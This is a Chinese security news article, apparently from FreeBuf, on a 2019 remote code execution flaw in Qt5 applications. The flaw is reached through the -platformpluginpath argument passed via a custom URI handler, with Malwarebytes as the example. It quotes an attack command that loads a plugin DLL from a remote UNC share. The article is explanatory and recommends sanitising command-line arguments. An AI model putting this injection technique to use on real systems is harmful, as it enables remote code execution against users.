freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Qt5 GUI开发的应用程序易受远程代码执行漏洞影响
2019-04-09 12:11:49

据外媒报道,使用Qt5 GUI框架开发的应用程序易受远程代码执行漏洞影响,黑客可通过特定命令行参数配置自定义协议处理程序触发该漏洞,远程加载恶意DLL程序并执行代码。 

image.png

图片来源于unsplash

很多开发人员不知道的是,使用Qt5框架将同步添加可用于修改框架工作方式的命令行参数,修改内容包括显示窗口标题、窗口大小、图标等,这些命令行参数会被传递给初始化Qt框架函数并被解析。

据悉,该特定命令行参数是platformpluginpath命令,可指定从远程UNC URL或本地文件夹加载Qt5插件。通过该命令行参数,程序可使用已输入的路径加载可扩展框架功能的特制Qt插件,当黑客在远程UNC上托管恶意DLL程序并使用该参数启动程序时,可远程执行代码。

image.png

图片来源于pexels

漏洞曝光后,ZDI研究人员Ziad Badawi以Malwarebytes为例,通过创建自定义URI处理程序,以及不正确清理其命令行参数,仅需单击网站链接便可影响基于Qt5的应用程序。

据悉,安装程序将创建一个名为“malwarebytes”的自定义URI处理程序,当用户单击“malwarebytes://www.example.com”等链接时,Windows将使用命令“assistant.exe -uri www.example.com”打开assistant.exe程序。

黑客使用自定义恶意软件URI协议作为其来源,创建或更改网页加载iframe,可使assistant.exe远程加载并执行恶意DLL程序。但是,该源URL也将使用platformpluginpath命令行参数,指向加载Qt5插件的远程UNC共享,此时使用命令“assistant.exe-platformpluginpath\\192.168.131.152\share”启动assistant.exe,即可从远程共享文件夹中加载任意插件。

image.png

图片来源于pixabay

由此可知,黑客发动类似攻击需满足3个条件,包括一个基于Qt5框架的GUI应用程序、加载Qt5插件和注册自定义URI处理程序。专家建议及时清理应用程序中的命令行参数以免被远程利用。

来源:http://u6.gg/sq6jH,“ISEC安全e站”独家编译,转载请注明出处及本文链接。


本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者